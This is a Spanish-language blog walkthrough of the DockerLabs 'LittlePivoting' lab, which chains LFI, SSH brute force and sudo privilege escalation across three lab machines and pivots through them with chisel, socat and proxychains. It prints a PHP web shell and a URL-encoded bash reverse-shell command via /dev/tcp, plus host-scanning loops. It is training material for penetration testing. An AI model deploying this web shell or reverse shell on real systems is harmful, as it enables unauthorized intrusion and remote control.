LittlePivoting
Que tal lord & lady
El laboratorio de hoy es un poco diferente, si, si hay maquinas para hacking aun que, hoy estaremos viendo un concepto nuevo para este blog, estamos hablando de pivoting en el contexto de pivotear o saltar entre maquinas entre sus diferentes interfaces de red de una maquina para poder llegar a otra.
Requisitos previos:
- Tener configurado al menos una virtual como Kali o Parrot (link aquí)
Write Up Laboratorio LittlePivotting #dockerlabs.es
Preparando laboratorio
Para poder desplegar nuestro laboratorio LittlePivoting tendremos que:
- Descargar el archivo de Mega en nuestra maquina Kali
- Ejecutar el siguiente comando:
$ sudo ./auto_deploy.sh inclusion.tar trust.tar upload.tar
Y solo hay que esperar a que se termine de desplegar con docker nuestro laboratorio.
Básicamente, esta pantalla en la terminal se quedará abierta mientras estamos trabajando/Hackeando.
Al final te debe quedar desplegado el laboratorio "LittlePivoting" de la siguiente manera:
Reconocimiento Inicial
En esta ocasión realizaremos un reconocimiento un poco diferente.
Dado a que comúnmente en un ambiente real habría que detectar las IPs de un target, vamos a visualizar rápidamente, dado al SUBNETIG.
Para ello vamos a utilizar Nmap para este reconocimiento:
Suponiendo que ya estamos en la red "victima", debemos saber cual es nuestra IP:
Ahora sabiendo nuestra IP se haya asignado automáticamente bajo un DHCP, vamos a escanear la red:
Bien, sabemos que la IP 10.10.10.1 es nuestra y que existe una maquina adicional, la 10.10.10.2.
Como estamos viendo un entorno más real, yo te recomendaría que utilices una herramienta como canvan para que puedas ir haciendo el mapeo de las maquinas:
Así que, comencemos nuestro pentesting sobre esta maquina
Enumeración [10.10.10.2]
Tenemos 2 puertos
Puerto 22 - OpenSSH 9.2p1
OJO AQUI:
Dado a que tenemos una versión 9.2p1 recordemos que ahora tendríamos a disposición la vulnerabilidad de regreSSHion...
Vamos a ver si podemos explotarla:
Puerto 80 - Apache 2.4.57
Vamos a ver que hay en el puerto 80:
Whatweb:
Pues no se ve nada interesante, continuemos...
Sitio con el navegador:
Wappalizer:
Efectivamente, nada interesante por aquí...
Fuzzing:
Encontramos cositas, vamos a ver que hay dentro de shop:
¿Viste lo que yo vi?Vamos a intentar jugar con el parámetro archivo en la url...
Señoras y señores tenemos un LFI (Local File Inclusion) utilizando "Path Traversal"...
Desde el archivo /etc/passwd, podríamos deducir que usuarios tenemos, en este caso 2 adicionales a root:
- seller
- manchi
Explotación [10.10.10.2]
Tal ves se me ocurre, como tenemos SSH pudiéramos hacer fuerza bruta con Hydra, utilizando un diccionario como rockyou.txt
No te desesperes, toma su tiempo, esto dependerá de cuanto tengas tanto en memoria como núcleos de procesador asignados a la maquina de Kali...
- Usuario manchi:
Nos intentamos conectar a ssh:
Estamos dentro!
Post-Explotación [10.10.10.2]
Ya que estamos dentro, vamos a ver como escalar privilegios...
Una opción que es muy útil es ver si tenemos posibilidad de ejecutar comandos/binarios desde sudoers.
Desde aquí, no parece que haya algo que pudiéramos explotar...
BruteForce
Hay una herramienta que esta disponible en Github del usuario carlospolop la cual hace fuerza bruta a partir del cambio de usuario con el comando su y además hace uso de un diccionario.
Para esto hay que hacer 2 cosas:
1- Descargar el archivo suBF.sh
2- Tener un archivo tipo rockyou que nos permita usarse como diccionario.
Obteniendo archivo de Github:
Obteniendo un mini-rockyou:
En mi caso voy a intentar solamente con las primeras 1000 contraseñas de mi rockyou.txt.
Ahora lo descargo desde mi maquina victima:
Maquina atacante:
Maquina victima:
Hacemos la fuerza bruta:
Obtuvimos la contraseña de seller
Inmediatamente vemos que podemos ejecutar como ALL (incluso root) el binario /usr/bin/php
Según gtfobins podemos ejecutar el siguiente comando para poder escalar privilegios:
Intentamos con una ligera modificación...:
Somos root!
Y ahora que?
Bueno primero que nada yo actualizaría mi canvan para ver como es que voy con mi pentesting:
Continuamos revisando nuestra maquina victima Pwneada...
Interfaces de red
Como vemos, esta maquina la 10.10.10.2 cuenta con otra interfaz de red la cual tiene la IP 20.20.20.2
Si actualizamos nuestro mapa de la red, nos queda de la siguiente manera:
En palabras simples, volver a empezar,
realizar ahora un reconocimiento, enumeración de los equipos que podamos encontrar, hacer explotación y post explotación.
Reconocimiento [Interfaz 20.20.20.2]
Aquí podemos realizarlo de forma manual, es decir, hacer un ejecutable en bashScripting que determine si hay maquinas conectadas en esta red.
Para ello podemos ejecutar algo muy simple:
Si al dar enter notamos y vemos que nos ha impreso el "OK" significa que la IP existe dentro de la red.
Esto sucede por que el doble ampersand (2) le indica que haga el comando siguiente, en nuestro caso el echo siempre y cuando el primer comando se ejecute correctamente, es así de simple.
Si por el contrario mando una IP que no exista, en este caso la 20.20.20.13 (4) pues no obtenemos respuesta y nos marca que los paquetes se han perdido en su totalidad (5).
Bien cuando menos hemos detectado otra IP dentro de este segmento, pero vamos a ver si podemos automatizar una salida completa en este segmento de IPs:
Te comparto el script para que lo puedas copiar:
#!/bin/bash
for host in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 20.20.20.$host &>/dev/null" && echo "[+] HOST - 20.20.20.$host is alive!" &
done; wait
Ejecutamos el script:
Actualizamos nuestro mapa:
Bueno, necesitamos hacer enumeración del sistema ahora de nuestra nueva maquina victima 20.20.20.2.
Para ello, existen al menos 3 formas (las que yo conozco) para hacerlo, una es de forma semi automatizada con la herramienta metasploit, otra es utilizar como tal SSH, ya que la tenemos instalada en la maquina victima, y la otra es hacerla de forma manual.
A mi me gusta mucho adentrarme de forma manual así que es la que nos vamos a configurar.
Para ello vamos hacer uso de la herramienta de chisel.
Maquina atacante:
Iniciamos el servidor de chisel...
Maquina victima:
Conectamos con nuestro servidor de chisel desde la maquina victima como cliente:
Si vamos ahora a nuestra maquina atacante a revisar el servidor de chisel:
Para poder interactuar correctamente con nuestra maquina victima, vamos a necesitar editar el archivo "/etc/proxychains4.conf" donde se hacen los siguientes ajustes:
- Descomentamos la línea: dynamic_chain
- Comentar la línea: #strict_chain
- Agregar la siguiente línea al final: socks5 127.0.0.1 1080
De esta manera podremos:
- Tener conexión directa utilizando proxychains.
Enumeración [Interfaz 20.20.20.3]
Quick scan + Servicios y versiones
Tenemos 2 puertos abiertos...
Puerto 22
OJO: por el momento voy a omitir el análisis de vulnerabilidades sobre este puerto ya que como vimos en el comentario anterior, pudiera ser vulnerable a regreSSHion. Continuaré el pentesting por la parte web.
Puerto 80
Whatweb:
Sitio web:
Para poder ver el sitio web, necesitamos configurar el proxy.
En mi caso ya tengo instalado FoxyProxy si no lo tienes instalado en tu Firefox, solo basta con instalar el componente:
Wappalizer:
Fuzzing:
Ejecutamos fuzzing con gobuster obviamente optimizado para utilizar nuestro proxy de la configuración de proxychains:
Directorios:
Pues nada!
Explotación [Interfaz 20.20.20.3]
Aquí algo valioso que tenemos es al usuario "mario"... pudiéramos intentar tal ves fuerza bruta.
Para ello vamos a utilizar, obviamente proxychains, la herramienta de hydra a través del servicio de ssh:
Vuala!
Entramos con el servicio de SSH:
Ahora vamos a actualizar nuestro canvan:
Post-Explotación [Interfaz 20.20.20.3]
Es momento de escalar privilegios:
A nivel de sudoers, podemos observar que podemos ejecutar como usuario ALL (todos, incluyendo root) el binario de vim...
Recurrimos a GTFOBINS como siempre, nuestro recurso de confianza para visualizar posibles vectores privesc:
Actualizamos nuestro canvan:
Interfaces de red
Como vemos, esta maquina la 20.20.20.3 cuenta con otra interfaz de red la cual tiene la IP 30.30.30.2.
Si actualizamos nuestro mapa de la red, nos queda de la siguiente manera:
Bien, ¿Qué sigue?
Nuevamente, volvemos a empezar nuestro proceso de pentesting.
Reconocimiento [sobre 30.30.30.2]
Reutilizamos nuestro script en bash para poder realizar un reconocimiento de las posibles IPs del ahora nuevo segmento:
#!/bin/bash
for host in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 30.30.30.$host &>/dev/null" && echo "[+] HOST - 30.30.30.$host is alive!" &
done; wait
Ejecutamos:
No ha salido nada!
Y esto se debe a que no tenemos ping en la maquina victima 30.30.30.2.
Afortunadamente existe otra manera mandando el echo directamente a la IP, vamos a modificar un poco nuestro script en bash:
#!/bin/bash
for host in $(seq 1 254); do
timeout 1 bash -c "echo '' > /dev/tcp/30.30.30.$host/80 &>/dev/null" && echo "[+] HOST - 30.30.30.$host" &
done; wait
Ejecutamos:
Recordemos que nosotros somos el 30.30.30.2 así que estaremos trabajando sobre la 30.30.30.3.
Actualizamos nuestro mapa en canvas para no perdernos:
Vamos ahora a traernos chisel y una nueva herramienta llamada socat.
Pero ¿Como lo mandamos?
Hay varias formas de mandarlo, pero vamos a ver con que contamos, por ejemplo quiero ver si la maquina 20.20.20.2 tiene scp:
De esta manera podríamos transferir archivos atreves de ssh con SCP desde la maquina 20.20.20.2 a la 20.20.20.3:
¿Porqué con socat?
Lo que hace chisel en pocas palabras es crear un túnel de ciertos puertos o todos de la maquina cliente a la maquina servidor (es por eso que especificamos si es servidor o cliente en el comando de chisel).
Pero esto solo nos permite ir hacia adelante.
Con socat pasa lo contrario. Socat permite redirigir el trafico de una maquina y de un puerto especifico hacia otra maquina a otro puerto en especifico.
Lo se, parece un poco lioso y rebuscado, pero vamos hacer lo en la practica.
Mi maquina 10.10.10.2/20.20.20.2 la vamos a utilizar como puente con ambas herramientas, tanto como chisel como socat, así que lo primero que hay que tener es estos programas en esta maquina:
Maquina atacante:
Como queremos que la maquina 20.20.20.3/30.30.30.2 se conecte a nuestra maquina Kali, a través de la 10.10.10.2/20.20.20.2
Configuramos socat en la maquina ...10.2/...20.2:
Recordemos que como va a redirigir mi trafico del puerto 3001 hacia la maquina atacante por el puerto 1234, justo este es el puerto donde esta escuchando chisel server:
2- Que por cierto, ya existe mi conexión de trafico de la primer maquina por el puerto 1080 de mi maquina de Kail.
Maquina ...20.3/...30.2:
Iniciamos chisel:
Pero ¿Qué IP le pongo en el cliente?
Bueno como ya tenemos socat en la maquina 10.2/20.2 que es quien va a redirigir el trafico a nuestra maquina de Kali (10.10.10.1), entonces solo nos resta conectarnos a la maquina mas próxima, que en nuestro caso es donde tenemos socat abierto:
Volvemos a nuestra maquina ...20.3/...30.2:
Aquí ejecutamos un poco diferente el comando para cliente de chisel, en el puerto R:socks le agregamos el puerto 1081, ¿por que? por que es el puerto default que en nuestro caso ya esta siendo usado por la primer maquina como cliente, si no, nos daría error.
Si vamos a la maquina atacante deberíamos ver una conexión nueva:
Enumeración [30.30.30.3]
Quick scan + Servicios y versiones:
Puerto 80 - Apache 2.4.57 (Debian)
Whatweb:
Sitio web:
Hay que configurar el proxy en el navegador, yo utilizaré FoxyProxy:
Código (Ctrl + U):
Wappalizer:
Antes de querer hacer un fuzzing, me gustaría intentar subir un archivo php malicioso, ya que el sitio esta habilitado para hacerlo:
<?php
system($_GET['cmd']);
?>
Lo subo...
Fuzzing
Directorios y archivos:
Encontramos la carpeta de uploads, tiene sentido que sea esta la carpeta:
Excelente, tenemos ejecución remota de comandos:
ReverseShell:
Ya estamos casi listos para poder obtener una reverseShell, pero justo para esto vamos a necesitar redirigir el trafico ahora, a través de 2 maquinas intermedias de nuestra victima y nuestra maquina de Kali
OJO: para mi comodidad he utilizado el puerto 4431 en todos y cada uno de las re transferencias de trafico pero pudieran quedar a disposición de cada quien.
Maquina 10.2/20.2:
Nueva conexión por ssh:
Escalo privilegios nuevamente:
Ejecuto socat:
Maquina 20.3/30.2:
Nueva conexión por ssh + privilege escalation:
Verifico que exista socat:
Ahora si, ejecuto socat:
Explotación [30.30.30.3]
Preparamos maquina atacante:
En nuestra maquina 30.3, en el navegador ejecutamos:
http://30.30.30.3/uploads/cmd.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/30.30.30.2/4431%200%3E%261%22
Damos enter:
Si todo ha ido bien y las conexiones las tenemos correctamente configuradas, hemos obtenido una reverseShell en nuestra maquina de atacante, Kali:
Y estamos dentro!
Post-Explotación [30.30.30.3]
Full stty:
Sudoers:
Según gtfobins para poder escalar privilegios podríamos intentar lo siguiente:
Actualizamos nuestro mapa de canvas:
¿Otras interfaces?
Vamos a ver si aun continuaríamos haciendo pivoting, así que hay que revisar con cuantas interfaces cuenta esta maquina
Conclusión
Para este punto hemos aprendido a como realizar un pentesting tradicional, las típicas herramientas como nmap, explotación de vulnerabilidades web además de como escala privilegios.
Adicionalmente aprendimos a como realizar pivoting manual utilizando herramientas como chisel y socat y con ello como tener configurado proxychains para poder continuar nuestro pentesting en las siguientes maquinas en la red brincando a través de diferentes interfaces de red de cada maquina comprometida.
Espero que este Writeup te haya gustado.
Si tienes algún comentario o duda, déjala para poder resolverla juntos.
Saludos y nos leemos en un siguiente Writeup.
Comentarios
Publicar un comentario